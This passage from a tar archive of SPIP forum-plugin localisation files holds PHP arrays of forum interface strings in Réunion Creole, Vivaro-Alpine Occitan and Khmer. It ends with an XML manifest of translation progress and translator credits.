$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'pou bann zartik a fèr sèlman (san tous a ryin dann bazdodné).',
'bouton_radio_articles_tous' => 'po TOUT bann zartik minm.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'pou tout bann zartik-la, sof banna pwinn bordé èk inn forom kozman.',
'bouton_radio_enregistrement_obligatoire' => 'Aou lé néséser fé zwé lanrozistroman po anvwa out komisyon (bann zitilzatèr i dwa mèt ladrès imèl pou abonn azot).',
'bouton_radio_moderation_priori' => 'Modèr-dovan (bann komisyon lé publyé dann figirwèb piblik, sèlman kan komandèr la apiyé).
', # MODIF
'bouton_radio_modere_abonnement' => 'In labonman lé nesèsèr',
'bouton_radio_modere_posteriori' => 'lé modèré apré konfirmasyon ', # MODIF
'bouton_radio_modere_priori' => 'lé modèré-dovan', # MODIF
'bouton_radio_publication_immediate' => 'Modékri lé publyé sir losan (bann komisyon lé visib toutswit apré zot la anvway ali ; bann komander sitwèb i pé dégrèn ali aprè).',
// F
'form_pet_message_commentaire' => 'Inn modékri, inn ti lavi, inn komantèr ?',
'forum' => 'Forom kozman',
'forum_acces_refuse' => 'Ou néna pli lapermisyon pou gèt dann bann forom-la.',
'forum_attention_dix_caracteres' => '<b>Tansyon pangar !</b> out modékri néna mwin 10 karaktèr-linprimri. Lé pa asé pou anrozistr ali.',
'forum_attention_trois_caracteres' => '<b>Tansyon pangar !</b> Lo non ou la doné nana mwin 3 karactèr-linprimri.Sa lé pa asé pou anrozistr ali.',
'forum_attention_trop_caracteres' => '<b>TANSYON@circ@ !</b> out’ mèzaz lé tro long’ (@compte@ karaktèr-linprimri)@circ@ : pour giny anrozistré, li doi pa fé pli dé @max@ karaktèr-linprimri', # MODIF
'forum_avez_selectionne' => 'Ou la swazi :',
'forum_cliquer_retour' => 'Klik <a href=\'@retour_forum@\'>tèrla</a> pour asévé.',
'forum_forum' => 'forom kozman',
'forum_info_modere' => 'Forom kozman lé modéré-dovan : lé néséser inn komander la finn konfirm ali pour out kontribusyon i aparé an liyn.
', # MODIF
'forum_lien_hyper' => '<b>Gatiraz</b> (lé pa obligatwar)', # MODIF
'forum_message_definitif' => 'Modékri-la lé fini : anvwa ali si lo sitwèb',
'forum_message_trop_long' => 'Out modékri lé tro lon. Li dwa pa dépas plid 20000 karaktèr-linprimri.', # MODIF
'forum_ne_repondez_pas' => 'Pou réponn limél-la, anserv lo forom kozman ou sava trouv tèrla (réponn pa èk inn ot limèl mé zizt inn modékri sir lo sitwèb) :', # MODIF
'forum_page_url' => '(Si out modékri li ranvwa si inn lartik si lo Wèb o inn ot paz pli konplé déor, mèrsi mèt anba lo non lapazwèb èk son ladrès URL.)',
'forum_poste_par' => 'Modékri-la, @parauteur@ la post ali pou réponn out lartik.', # MODIF
'forum_qui_etes_vous' => '<b>Kisa ou lé ?</b> (réponn lé pa obligatwar)', # MODIF
'forum_texte' => 'Lo tèks out modékri :', # MODIF
'forum_titre' => 'Non :', # MODIF
'forum_url' => 'URL :', # MODIF
'forum_valider' => 'Konfirm out swa',
'forum_voir_avant' => 'Artourn gét modékri-la avann konfirm ali', # MODIF
'forum_votre_email' => 'Out ladrès imèl :', # MODIF
'forum_votre_nom' => 'Out vrénon (ou ti-non-gaté) :', # MODIF
'forum_vous_enregistrer' => 'Pou mèt ansanm dann forom-la, ifo anrozistr aou. Mersi pou mèt anba latèr nondkod-lidantité sak ni la donn aou. Si ou lé pa anrozistré, i dwa',
'forum_vous_inscrire' => 'inskri a ou </a>.',
// I
'icone_poster_message' => 'Anvwa inn modékri',
'icone_suivi_forum' => 'Swiv lo forom piblik sir figirwèb : @nb_forums@ contribution(s)',
'icone_suivi_forums' => 'Swiv/aranz bann forom',
'icone_supprimer_message' => 'Dégrèn modékri-la',
'icone_valider_message' => 'Konfirm modékri-la',
'info_activer_forum_public' => '<i>Swazi inn manyir lamodérasyon otomatik pou bann forom piblik :</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplik lo swa ou la fé pou lamodérasyon :',
'info_desactiver_forum_public' => 'Apiy tèrla, pou détour litilizasyon tout bann forom piblik. Ou sra touzou kav permèt bann forom-la èk bann zartik (dann désertin ka ou sava désid) ; mé nora pwinn forom èk bann rubrik, bann tit-nouvèl, é tousala.',
'info_envoi_forum' => 'Anvwa tout bann modékri sak i sort dann bann forom , pou tout bann lotèr lartik lyé ',
'info_fonctionnement_forum' => 'Koman forom-la i pé roul ron :',
'info_gauche_suivi_forum_2' => 'Paz <i>swivi bann forom</i> lé inn zoutiy pou zèr an liyn out sit (pa inn léspas kozman o lékritir). Li afis tout bann kontribusyon sak lé prézanté dann tout bann forom out sit i ébèrz (kiswa forom-dodan, forom-déor, tousala...). Li permé zèr bann kontribusyon-la.', # MODIF
'info_liens_syndiques_3' => 'bann forom',
'info_liens_syndiques_4' => 'lé',
'info_liens_syndiques_5' => 'forom',
'info_liens_syndiques_6' => 'lé',
'info_liens_syndiques_7' => 'i espèr lakonfirmasyon',
'info_mode_fonctionnement_defaut_forum_public' => 'Lo fonksionman otomatik (sanswa) pou bann forom-déor (piblik)',
'info_option_email' => 'Kank inn vizitèr i mèt inn modékri dann forom sou inn lartik
bann lotèr i pé konèt a li
sanm inn limèl. Indik tèrla si ou vé anserv lopsyon-la ?', # MODIF
'info_pas_de_forum' => 'néna pwinn forom',
'item_activer_forum_administrateur' => 'Fé zwé lo forom bann komandèr',
'item_desactiver_forum_administrateur' => 'Défalk bann forom-komandèr',
// L
'lien_reponse_article' => 'Réponn lartik-la',
'lien_reponse_breve_2' => 'Répons pou tit-nouvèl',
'lien_reponse_rubrique' => 'Répons pou rubrik-la',
'lien_reponse_site_reference' => 'Répons pou sit-la :', # MODIF
// O
'onglet_messages_internes' => 'Bann modékri-dodan',
'onglet_messages_publics' => 'Bann modékri-déor',
'onglet_messages_vide' => 'Bann modékri san tèks',
// R
'repondre_message' => 'Po réponn modékri-la',
// T
'titre_cadre_forum_administrateur' => 'Forom privé bann komandèr',
'titre_cadre_forum_interne' => 'Forom dodan',
'titre_forum' => 'Forom ',
'titre_forum_suivi' => 'Swivi bann forom',
'titre_page_forum_suivi' => 'Swivi bann forom'
);
?>
forum_oc_va.php 0000666 00000013517 15252247467 0007605 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=oc_va
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'als articles futurs solament (ges d’accion sus la basa de donaas).',
'bouton_radio_articles_tous' => 'als articles totes sens excepcion',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a totes los articles, fòra aqueles que lor forum es desactivat.',
'bouton_radio_enregistrement_obligatoire' => 'Registrament obligatòri (los utilizaires se devon abonar en donant lor adreiça e-mail avans de poer mandar de contribucions).',
'bouton_radio_moderation_priori' => 'Moderacion a priòri (las
contribucions apareisson en public mas que se los administrators
las an validaas).', # MODIF
'bouton_radio_modere_abonnement' => 'moderat amb abonament',
'bouton_radio_modere_posteriori' => 'moderat a posteriòri', # MODIF
'bouton_radio_modere_priori' => 'moderat a priòri', # MODIF
'bouton_radio_publication_immediate' => 'Publicar los messatges sus lo còp
(las contribucions apareisson tre mandaas, los administrators las pòon
suprimir puei).',
// F
'form_pet_message_commentaire' => 'Un messatge, una remarca?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Poètz pas pus accedir vèrs aqueles forums.',
'forum_attention_dix_caracteres' => '<b>Atencion!</b> vòstre messatge deu tenir aumens dètz caractèrs.',
'forum_attention_trois_caracteres' => '<b>Atencion!</b> vòstre títol deu tenir aumens tres caractèrs.',
'forum_avez_selectionne' => 'Avètz seleccionat:',
'forum_cliquer_retour' => 'Clicatz <a href=\'@retour_forum@\'>aicí</a> per contunhar.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Aquest forum es moderat a priòri: vòstra contribucion pareisserà mas qu’après qu’un administrator dau sit l’aia validaa.', # MODIF
'forum_lien_hyper' => '<b>Liam ipertèxt</b> (opcionau)', # MODIF
'forum_message_definitif' => 'Messatge definitiu : mandar au sit',
'forum_message_trop_long' => 'Vòstre messatge es tròp lòng. La lonjor maximala es de 20 000 caractèrs.', # MODIF
'forum_ne_repondez_pas' => 'Respondatz pas a aquel e-mail mas per lo forum a l’adreiça seguenta: ', # MODIF
'forum_page_url' => '(se vòstre messatge se referís a un article publicat per lo web, o a una pagina que baile mai d’informacions, volhatz marcar çai sos lo títol de la pagina e son adreiça URL.)',
'forum_poste_par' => 'Messatge poste@parauteur@ que fai seguia a vòstre article.', # MODIF
'forum_qui_etes_vous' => '<b>Qui siatz?</b> (opcionau)', # MODIF
'forum_texte' => 'Tèxt de vòstre messatge:', # MODIF
'forum_titre' => 'Títol:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Validar aquela chausia',
'forum_voir_avant' => 'Veire lo messatge avans de lo mandar', # MODIF
'forum_votre_email' => 'Vòstra adreiça e-mail:', # MODIF
'forum_votre_nom' => 'Vòstre nom (o pseudonim):', # MODIF
'forum_vous_enregistrer' => 'Per participar a
aqueu forum, d’en primier vos chau registrar. Mercé
de marcar çai sos l’identificant personau qu’avètz recebut.
Se siatz pas registrat/aa, avètz de',
'forum_vous_inscrire' => 'vos inscriure',
// I
'icone_poster_message' => 'Postar un messatge',
'icone_suivi_forum' => 'Seguit dau forum public: @nb_forums@ contribucion(s)',
'icone_suivi_forums' => 'Seguir/gerir los forums',
'icone_supprimer_message' => 'Suprimir aqueu messatge',
'icone_valider_message' => 'Validar aqueu messatge',
'info_activer_forum_public' => '<i>Per activar los forums publics, volhatz chausir lor mòde de moderacion predefinit:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplicar aquela chausia de moderacion:',
'info_desactiver_forum_public' => 'Desactivar l’utilizacion dels forums publics. Los forums publics poiràn èsser autorizats au cas per cas sobre los articles; seràn proïbits sobre las rubricas, brèvas, etc.',
'info_envoi_forum' => 'Mandaís dels forums als autors dels articles',
'info_fonctionnement_forum' => 'Foncionament dau forum:',
'info_gauche_suivi_forum_2' => 'La pagina de <i>seguit dels forums</i> es un esplech de gestion dau vòstre sit (mas es pas un espaci per discutir o per redigir). Aficha totas las contribucions dau forum public d’aquel article e vos permet de gerir aquelas contribucions.', # MODIF
'info_liens_syndiques_3' => 'forums',
'info_liens_syndiques_4' => 'son',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'es',
'info_liens_syndiques_7' => 'en espèra de validacion',
'info_mode_fonctionnement_defaut_forum_public' => 'Mòde de foncionament predefinit dels forums publics',
'info_option_email' => 'Quand un vesitaire dau sit manda un messatge nòu au forum
associat a un article, se’n pòt avisar los autors
de l’article per e-mail. Desiratz d’utilizar aquela opcion?', # MODIF
'info_pas_de_forum' => 'Ges de forum',
'item_activer_forum_administrateur' => 'Activar lo forum dels administrators',
'item_desactiver_forum_administrateur' => 'Desactivar lo forum dels administrators',
// L
'lien_reponse_article' => 'Respònsa a l’article',
'lien_reponse_breve_2' => 'Respònsa a la brèva',
'lien_reponse_rubrique' => 'Respònsa a la rubrica',
'lien_reponse_site_reference' => 'Respònsa au sit referenciat:', # MODIF
// O
'onglet_messages_internes' => 'Messatges intèrnes',
'onglet_messages_publics' => 'Messatges publics',
'onglet_messages_vide' => 'Messatges sensa tèxt',
// R
'repondre_message' => 'Respòndre a aqueu messatge',
// T
'titre_cadre_forum_administrateur' => 'Forum privat dels administrators',
'titre_cadre_forum_interne' => 'Forum intèrne',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Seguit dels forums',
'titre_page_forum_suivi' => 'Seguit dels forums'
);
?>
forum_km.php 0000666 00000030660 15252247467 0007123 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=km
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'ចំពោះតែ អត្ថបទអនាគត (គ្មានសកម្មភាព លើឃ្លាំងទិន្នន័យ)។',
'bouton_radio_articles_tous' => 'ចំពោះគ្រប់អត្ថបទ គ្មានលើកលែង។',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'ចំពោះគ្រប់អត្ថបទ, លើកលែងអត្ថបទ ដែលវេទិកាលែងសកម្ម។',
'bouton_radio_enregistrement_obligatoire' => 'តំរូវអោយចុះបញ្ជី (ពួកអ្នកប្រើប្រាស់ ត្រូវតែជាវប្រចាំដោយផ្ដល់ អាសយដ្ឋានអ៊ីមែវល៍ របស់ពួកគេ មុននឹងអាច ដាក់ការរួមចំណែក)។',
'bouton_radio_moderation_priori' => 'សំរបសំរួល ជាដំបូង (ការរួមចំណែក បង្ហាញចេញ សាធារណៈ តែបន្ទាប់ពី ការផ្តល់សុពលភាព ដោយអ្នកអភិបាល)។', # MODIF
'bouton_radio_modere_abonnement' => 'ផ្អែកលើ ការជាវប្រចាំ',
'bouton_radio_modere_posteriori' => 'សំរបសំរួល ពេលបន្ទាប់', # MODIF
'bouton_radio_modere_priori' => 'សំរបសំរួល ជាដំបូង', # MODIF
'bouton_radio_publication_immediate' => 'ការផ្សព្វផ្សាយបន្ទាន់ នៃសារ (ការរួមចំណែក បង្ហាញចេញ ពេលផ្ញើពួកវា, ពួកអ្នកអភិបាល អាចលុបចេញ ពួកវា ពេលបន្ទាប់)។',
// D
'documents_interdits_forum' => 'ឯកសារហាម ក្នុងវេទិកា',
// F
'form_pet_message_commentaire' => 'មួយសារ មួយវិចារ ឬ ?',
'forum' => 'វេទិកា',
'forum_acces_refuse' => 'អ្នកគ្មានអាចទៀត ចូលទៅ វេទិកាទាំងនេះ។',
'forum_attention_dix_caracteres' => '<b>ប្រយ័ត្ន !</b> សារ របស់អ្នក ត្រូវtEមានប្រវែងយ៉ាងតិច ១០ អក្សរ។',
'forum_attention_trois_caracteres' => '<b>ប្រយ័ត្ន !</b> ចំណងជើង របស់អ្នក ត្រូវតែមានប្រវែងយ៉ាងតិច ៣ អក្សរ។',
'forum_attention_trop_caracteres' => '<b>ប្រយ័ត្ន !</b> សាររបស់អ្នក វែងពេក (@compte@ អក្សរ) ៖ ដើម្បីអាចត្រូវបានរក្សាវាទុក, វាមិនត្រូវ លើសពី @max@ អក្សរ។', # MODIF
'forum_avez_selectionne' => 'អ្នកបាន ជ្រើសយក ៖',
'forum_cliquer_retour' => 'ចុច <a href=\'@retour_forum@\'>ទីនេះ</a> ដើម្បីបន្ដ ។',
'forum_forum' => 'វេទិកា',
'forum_info_modere' => 'វេទិកានេះ ត្រូវបានសំរបសំរួល ជាដំបូង ៖ ការរួមចំណែក របស់អ្នក នឹងលេចចេញ តែបន្ទាប់ពីត្រូវបានមានសុពលភាព ដោយអ្នកអភិបាលសៃថ៍។', # MODIF
'forum_lien_hyper' => '<b>តំណភ្ជាប់ ខ្ពស់</b> (ជាជំរើស)', # MODIF
'forum_message_definitif' => 'សារ បញ្ចប់៖ ផ្ញើទៅវ៉ែបសៃថ៍',
'forum_message_trop_long' => 'សារ របស់អ្នក វែងពេក ។ ប្រវែងអតិបរមា ត្រឹម ២០០០០ អក្សរ។', # MODIF
'forum_ne_repondez_pas' => 'កុំឆ្លើយទៅ មែវល៍នេះ ប៉ុន្ដែ លើវេទិកា តាមអាសយដ្ឋានខាងក្រោម៖', # MODIF
'forum_page_url' => '(បើសារ របស់អ្នក យោងទៅ មួយអត្ថបទដែលបានផ្សព្វផ្សាយលើវ៉ែបសៃថ៍ ឬ នៅទំព័រ ដែលផ្ដល់ពត៌មានបន្ថែម, បញ្ចូលបន្ទាប់នេះ ចំណងជើងទំព័រ និង អាសយដ្ឋាន URL របស់វា។)',
'forum_poste_par' => 'បានដាក់សារ ដោយ @parauteur@ បន្ទាប់ពីអត្ថបទ "@titre@"។', # MODIF
'forum_qui_etes_vous' => 'អ្នកជា អ្នកណា? </b> (ជា ជំរើស)', # MODIF
'forum_texte' => 'សារ របស់អ្នក៖', # MODIF
'forum_titre' => 'ចំណងជើង៖', # MODIF
'forum_url' => 'URL៖', # MODIF
'forum_valider' => 'ធ្វើអោយសុពលភាព ជំរើស នេះ',
'forum_voir_avant' => 'មើលសារនេះ មុននឹងដាក់ប្រកាសវា', # MODIF
'forum_votre_email' => 'អាសយដ្ឋានអ៊ីមែវល៍ របស់អ្នក៖', # MODIF
'forum_votre_nom' => 'ឈ្មោះ (ឬ ឈ្មោះហៅក្រៅ) របស់អ្នក៖', # MODIF
'forum_vous_enregistrer' => 'ដើម្បីចូលរួម វេទិកានេះ, អ្នកត្រូវតែជាដំបូង ចុះឈ្មោះ។ អរគុណ ដែលបញ្ចូលអត្តសញ្ញាផ្ទាល់ខ្លួន ដែលត្រូវបានផ្ដល់ជូនអ្នក។ បើអ្នកមិនទាន់ចុះឈ្មោះ, អ្នកត្រូវតែ',
'forum_vous_inscrire' => 'ចុះឈ្មោះ អ្នក។',
// I
'icone_poster_message' => 'ផ្ញើសារ',
'icone_suivi_forum' => 'តាមដានវេទិកាសាធារណៈ ៖ @nb_forums@ contribution(s)',
'icone_suivi_forums' => 'តាមដាន/គ្រប់គ្រង វេទិកានានា',
'icone_supprimer_message' => 'លុបចេញ សារនេះ',
'icone_valider_message' => 'ធ្វើអោយសុពលភាព សារនេះ',
'info_activer_forum_public' => '<i>ដើម្បីសកម្ម ទីប្រជុំសាធារណះ, សូមជ្រើសរើស បែបសំរបសំរួល របស់ពួកវា ជាលំនាំដើម៖</i>', # MODIF
'info_appliquer_choix_moderation' => 'អនុវត្ត ការជ្រើសរើស បែបសំរបសំរួល នេះ ៖',
'info_config_forums_prive_admin' => 'មួយទីប្រជុំមតិ ត្រូវបានទុក សំរាប់ ពួកអ្នកអភិបាលសៃថ៍៖',
'info_config_forums_prive_global' => 'ទីប្រជុំមតិរួម, បើកទៅគ្រប់អ្នកនិពន្ធ៖',
'info_desactiver_forum_public' => 'ធ្វើ្វអោយវេទិកាសាធារណៈលែងប្រើប្រាស់បាន ។ វេទិកាសាធារណៈអាចត្រូវបានអនុញ្ញាតដោយឈរលើមូលដ្ឋានមួយករណីម្ដងៗសម្រាប់អត្ថបទ ។ វេទិការនោះនឹងត្រូវហាមឃាត់សម្រាប់ផ្នែក ព័ត៌មាននេះ ។ល។',
'info_envoi_forum' => ' ផ្ញើវេទិកាទៅអ្នកនិពន្ធអត្ថបទ',
'info_fonctionnement_forum' => 'ប្រតិបត្ដិការវេទិកា ៖',
'info_gauche_suivi_forum_2' => 'ទំព័រ <i>តាមដាន ទីប្រជុំមតិ</i> ជា មួយឧបករគ្រប់គ្រង នៃវ៉ែបសៃថ៍ របស់អ្នក (និង មិនជា ធ្លាពិភាក្សា ឬ ធ្លាបោះផ្សាយ)។ វា បង្ហាញ គ្រប់ការរួមចំណែក របស់ទីប្រជុំមតិសាធារណះ នៃអត្ថបទនេះ និងអនុញ្ញាតអ្នក គ្រប់គ្រង ការរួមចំណែក ទាំងនេះ។', # MODIF
'info_liens_syndiques_3' => 'វេទិកា',
'info_liens_syndiques_4' => 'គឺ',
'info_liens_syndiques_5' => 'វេទិកា',
'info_liens_syndiques_6' => 'គឺ',
'info_liens_syndiques_7' => 'ការរង់ចាំការបញ្ជាក់់',
'info_mode_fonctionnement_defaut_forum_public' => 'បែបការងារលំនាំដើម នៃទីប្រជុំមតិសាធារណះ',
'info_option_email' => 'ពេល មួយទស្សនាករ នៃសៃថ៍ ដាក់មួយវិចារ ក្នុងទីប្រជុំមតិ ទាក់ទិនមួយអត្ថបទ, ពួកអ្នកនិពន្ធ នៃអត្ថបទ អាចត្រូវបានប្រាប់ដំណឹង ពីវិចារនេះ តាមអ៊ីមែវល៍។ បើអ្នក ត្រូវប្រើប្រាស់ ជំរើសខាងលើ, បង្ហាញ សំរាប់ ប្រភេទទីប្រជុំមតិ នីមួយ។',
'info_pas_de_forum' => 'គ្មានវេទិកា',
'item_activer_forum_administrateur' => 'សកម្ម វេទិកា នៃអ្នកអភិបាល',
'item_config_forums_prive_global' => 'ធ្វើអោយសកម្ម ទីប្រជុំមតិ នៃពួកអ្នកនិពន្ធ',
'item_config_forums_prive_objets' => 'ធ្វើអោយសកម្ម ទីប្រជុំមតិ ទាំងនេះ',
'item_desactiver_forum_administrateur' => 'បិទមុខងារវេទិកាក្រុមអ្នកគ្រប់គ្រងប្រព័ន្ធ',
'item_non_config_forums_prive_global' => 'ធ្វើអោយអសកម្ម ទីប្រជុំមតិ នៃពួកអ្នកនិពន្ធ',
'item_non_config_forums_prive_objets' => 'ធ្វើអោយអសកម្ម ទីប្រជុំមតិទាំងនេះ',
// L
'lien_reponse_article' => 'ចំលើយ ទៅអត្ថបទ',
'lien_reponse_breve_2' => 'ចំលើយ ទៅពត៌មានខ្លី',
'lien_reponse_rubrique' => 'ចំលើយ ទៅផ្នែក',
'lien_reponse_site_reference' => 'ចំលើយ ទៅវ៉ែបសៃថ៍យោង៖', # MODIF
// O
'onglet_messages_internes' => 'សារខាងក្នុង',
'onglet_messages_publics' => 'សារសាធារណៈ',
'onglet_messages_vide' => 'សារគ្មានអត្ថបទ',
// R
'repondre_message' => 'ឆ្លើយតប ទៅសារនេះ',
// S
'statut_original' => 'ភាពដើម',
// T
'titre_cadre_forum_administrateur' => 'វេទិកាឯកជនរបស់ក្រុមអ្នកគ្រប់គ្រងប្រព័ន្ធ',
'titre_cadre_forum_interne' => 'ទីប្រជុំមតិ ខាងក្នុង',
'titre_forum' => 'វេទិកា',
'titre_forum_suivi' => 'ការតាមដានវេទិកា',
'titre_page_forum_suivi' => 'ការតាមដានវេទិកា'
);
?>
forum.xml 0000666 00000031121 15252247467 0006436 0 ustar 00 <traduction module="forum" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/forum/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/forum?lang_cible=ar" total="133" traduits="133" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="ast" url="http://trad.spip.net/tradlang_module/forum?lang_cible=ast" total="133" traduits="66" relire="0" modifs="18" nouveaux="49" pourcent="49.62">
<traducteur nom="Xuacu" lien="http://trad.spip.net/auteur/xuacu" />
</langue>
<langue code="ay" url="http://trad.spip.net/tradlang_module/forum?lang_cible=ay" total="133" traduits="34" relire="0" modifs="16" nouveaux="83" pourcent="25.56">
</langue>
<langue code="bg" url="http://trad.spip.net/tradlang_module/forum?lang_cible=bg" total="133" traduits="49" relire="0" modifs="19" nouveaux="65" pourcent="36.84">
</langue>
<langue code="br" url="http://trad.spip.net/tradlang_module/forum?lang_cible=br" total="133" traduits="63" relire="0" modifs="21" nouveaux="49" pourcent="47.37">
</langue>
<langue code="bs" url="http://trad.spip.net/tradlang_module/forum?lang_cible=bs" total="133" traduits="49" relire="0" modifs="19" nouveaux="65" pourcent="36.84">
</langue>
<langue code="ca" url="http://trad.spip.net/tradlang_module/forum?lang_cible=ca" total="133" traduits="66" relire="0" modifs="18" nouveaux="49" pourcent="49.62">
<traducteur nom="merce" lien="http://trad.spip.net/auteur/merce" />
</langue>
<langue code="co" url="http://trad.spip.net/tradlang_module/forum?lang_cible=co" total="133" traduits="63" relire="0" modifs="21" nouveaux="49" pourcent="47.37">
</langue>
<langue code="cpf" url="http://trad.spip.net/tradlang_module/forum?lang_cible=cpf" total="133" traduits="49" relire="0" modifs="20" nouveaux="64" pourcent="36.84">
</langue>
<langue code="cpf_hat" url="http://trad.spip.net/tradlang_module/forum?lang_cible=cpf_hat" total="133" traduits="49" relire="0" modifs="20" nouveaux="64" pourcent="36.84">
</langue>
<langue code="cs" url="http://trad.spip.net/tradlang_module/forum?lang_cible=cs" total="133" traduits="50" relire="0" modifs="20" nouveaux="63" pourcent="37.59">
</langue>
<langue code="da" url="http://trad.spip.net/tradlang_module/forum?lang_cible=da" total="133" traduits="46" relire="0" modifs="22" nouveaux="65" pourcent="34.59">
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/forum?lang_cible=de" total="133" traduits="130" relire="0" modifs="1" nouveaux="2" pourcent="97.74">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="el" url="http://trad.spip.net/tradlang_module/forum?lang_cible=el" total="133" traduits="34" relire="0" modifs="13" nouveaux="86" pourcent="25.56">
<traducteur nom="Yannick Bailly" lien="http://trad.spip.net/auteur/yannick-bailly" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/forum?lang_cible=en" total="133" traduits="133" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="sQuonk" lien="http://trad.spip.net/auteur/squonk" />
</langue>
<langue code="en_hx" url="http://trad.spip.net/tradlang_module/forum?lang_cible=en_hx" total="133" traduits="46" relire="0" modifs="22" nouveaux="65" pourcent="34.59">
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/forum?lang_cible=eo" total="133" traduits="61" relire="0" modifs="21" nouveaux="51" pourcent="45.86">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/forum?lang_cible=es" total="133" traduits="133" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
<traducteur nom="Raquel S. Bujaldón" lien="http://trad.spip.net/auteur/raquel-s-bujaldon" />
</langue>
<langue code="eu" url="http://trad.spip.net/tradlang_module/forum?lang_cible=eu" total="133" traduits="133" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="otalazt" lien="http://trad.spip.net/auteur/otalazt" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/forum?lang_cible=fa" total="133" traduits="126" relire="0" modifs="1" nouveaux="6" pourcent="94.74">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="fon" url="http://trad.spip.net/tradlang_module/forum?lang_cible=fon" total="133" traduits="47" relire="0" modifs="21" nouveaux="65" pourcent="35.34">
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/forum?lang_cible=fr" total="133" traduits="133" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/forum?lang_cible=fr_fem" total="133" traduits="133" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="fr_tu" url="http://trad.spip.net/tradlang_module/forum?lang_cible=fr_tu" total="133" traduits="133" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="beatnick" lien="http://trad.spip.net/auteur/beatnick" />
</langue>
<langue code="gl" url="http://trad.spip.net/tradlang_module/forum?lang_cible=gl" total="133" traduits="69" relire="0" modifs="15" nouveaux="49" pourcent="51.88">
</langue>
<langue code="hac" url="http://trad.spip.net/tradlang_module/forum?lang_cible=hac" total="133" traduits="20" relire="0" modifs="12" nouveaux="101" pourcent="15.04">
</langue>
<langue code="he" url="http://trad.spip.net/tradlang_module/forum?lang_cible=he" total="133" traduits="43" relire="0" modifs="18" nouveaux="72" pourcent="32.33">
</langue>
<langue code="hu" url="http://trad.spip.net/tradlang_module/forum?lang_cible=hu" total="133" traduits="49" relire="0" modifs="20" nouveaux="64" pourcent="36.84">
</langue>
<langue code="id" url="http://trad.spip.net/tradlang_module/forum?lang_cible=id" total="133" traduits="50" relire="0" modifs="20" nouveaux="63" pourcent="37.59">
</langue>
<langue code="is" url="http://trad.spip.net/tradlang_module/forum?lang_cible=is" total="133" traduits="8" relire="0" modifs="6" nouveaux="119" pourcent="6.02">
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/forum?lang_cible=it" total="133" traduits="133" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="it_fem" url="http://trad.spip.net/tradlang_module/forum?lang_cible=it_fem" total="133" traduits="62" relire="0" modifs="22" nouveaux="49" pourcent="46.62">
</langue>
<langue code="ja" url="http://trad.spip.net/tradlang_module/forum?lang_cible=ja" total="133" traduits="49" relire="0" modifs="19" nouveaux="65" pourcent="36.84">
</langue>
<langue code="km" url="http://trad.spip.net/tradlang_module/forum?lang_cible=km" total="133" traduits="58" relire="0" modifs="19" nouveaux="56" pourcent="43.61">
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/forum?lang_cible=lb" total="133" traduits="130" relire="0" modifs="1" nouveaux="2" pourcent="97.74">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="lt" url="http://trad.spip.net/tradlang_module/forum?lang_cible=lt" total="133" traduits="27" relire="0" modifs="10" nouveaux="96" pourcent="20.30">
</langue>
<langue code="my" url="http://trad.spip.net/tradlang_module/forum?lang_cible=my" total="133" traduits="50" relire="0" modifs="20" nouveaux="63" pourcent="37.59">
</langue>
